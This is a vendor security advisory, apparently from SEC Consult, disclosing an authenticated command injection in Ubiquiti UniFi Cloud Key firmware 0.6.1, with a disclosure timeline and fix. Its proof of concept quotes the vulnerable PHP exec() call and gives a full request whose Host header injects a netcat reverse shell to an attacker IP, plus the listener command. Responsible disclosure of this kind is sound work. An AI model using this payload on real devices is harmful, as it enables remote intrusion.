Ubiquiti Networks UniFi Cloud Key Authenticated Command Injection

Project Description

The Ubiquiti UniFi Cloud Key is prone to command injection in the administrative interface. By abusig the hostname a command can be injected since the parameters are not filtered.


 

Vendor description

“Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets.”

Source: http://ir.ubnt.com/

 

Business recommendation

SEC Consult recommends not to use this device in production until a thorough security review has been performed by security professionals and all identified issues have been resolved.

 

Vulnerability overview/description

A command injection can be triggered via the hostname header in the status GET request. This vulnerability can be exploited when the Cloud Key web interface is exposed to the Internet and an attacker has credentials to it.

 

Proof of concept

The following PHP snipplet is responsible for the command execution vulnerability:

(api.inc, line 265)

[...]
function is_unifi_running() {
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
}
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
}
return false;
}
[...]

Since ‘$c_host’ is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):

GET /api/status HTTP/1.1
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://192.168.0.30/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close

As the listener, netcat was used:
$ nc -lvp 8999

 

Vulnerable / tested versions

Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered.

 

Vendor contact timeline

2017-03-29: Contacting vendor via HackerOne. Vendor sets status to “Triaged”.
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-05-16: Vendor closed the ticked and changed the status to resolved. Current firmware version was v0.6.4. Set the publication date to 2017-08-04 (at least 90 days after fix).
2017-08-04: Public release of security advisory

 

Solution

Upgrade to v0.6.4 or above.

 

Workaround

None

 

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

 

 

EOF T. Weber / @2017

 

Project Details

  • TitleAuthenticated Command Injection
  • ProductUbiquiti Networks UniFi Cloud Key
  • Vulnerable versionFirmware v0.6.1
  • Fixed versionFirmware v0.6.4
  • CVE number--
  • ImpactHigh
  • Homepagehttps://www.ubnt.com
  • Found2017-03-26
  • ByT. Weber (Office Vienna) / SEC Consult Vulnerability Lab

Cookie Preference

Please select an option. You can find more information about the consequences of your choice at Help.

Select an option to continue

Your selection was saved!

Help

Help

To continue, you must make a cookie selection. Below is an explanation of the different options and their meaning.

  • Accept all cookies:
    All cookies such as tracking and analytics cookies.
  • Accept first-party cookies only:
    Only cookies from this website.
  • Reject all tracking cookies:
    No cookies except for those necessary for technical reasons are set.

You can change your cookie setting here anytime: Privacy Statement. Legal Notice

Back